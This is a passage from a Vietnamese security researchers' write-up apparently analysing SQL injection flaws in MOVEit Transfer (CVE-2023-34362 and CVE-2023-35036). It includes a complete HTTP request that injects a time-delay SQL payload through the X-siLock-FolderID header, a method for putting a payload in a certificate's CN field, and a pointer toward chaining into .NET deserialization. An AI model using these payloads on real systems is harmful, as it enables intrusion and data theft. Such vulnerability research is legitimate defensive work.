X-siLock-Transaction: large_upload_start X-siLock-RelativePath: path X-siLock-FolderID: 222-333 Cookie: <cookie> ``` Call stack ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2070.png) Câu truy vấn cuối cùng sẽ như sau ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2071.png) ⇒ Có thể kiểm soát được hai thành phần trong câu query. Bên cạnh đó bởi vì disallow characters chỉ bao gồm `"';` → bypass với `\` Sqli trigger time delay: ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2072.png) Final payload (ssrf bypass host check): ``` POST /moveitisapi/moveitisapi.dll?action=m2 HTTP/1.1 Host: 192.168.169.173 aX-siLock-Transaction: folder_add_by_path X-siLock-Transaction: large_upload_start Cookie: <cookie> X-siLock-RelativePath: path X-siLock-FolderID: 222\- OR sleep(2)# ``` Về method `Main()` trong `SILCertToUser.cs` ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2073.png) Bản chất là dùng để xác thực client dựa trên certificate lấy bởi `SILUtility.MakeCertWrapperFromRequest()` Tại method này, nếu tồn tại cert được gửi thông qua request header `X-IPSGW-ClientCert` thì sẽ thực hiện khởi tạo một instance của `SILClientCert` dựa trên giá trị đó và gán cho `silclientCert`, ngược lại sẽ lấy từ cert của trình duyệt ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2074.png) ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2075.png) Sau khi thỏa mãn if, sink sqli xảy ra ngay tại đoạn nối chuỗi dưới đây ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2076.png) Tiến hành tạo self signed-cert với openssl và chỉnh giá trị `CN` thành payload sqli trigger time delay ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2077.png) Kết quả ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2078.png) Tuy nhiên điều kiện để khai thác được là ip phải nằm trong các trusted IP đã được thiết lập trước đó. ![Untitled](https://raw.githubusercontent.com/DauHoangTai/Blog-Image-Archive/master/CVE-2023-34362%20%26%20CVE-2023-35036%20(MOVEit%20Transfer)/Untitled%2079.png) ### Unsafe .NET Deserialization Khi SQL Injection thành công và trong trường hợp có thể sử dụng stack query, chúng ta có thể tiếp tục exploit insecure deser tương tự như CVE phía trên bởi vì đoạn code đó đều không thay đổi ở cả 2 phiên bản. > ***Writen by taidh x to^ x stk*** >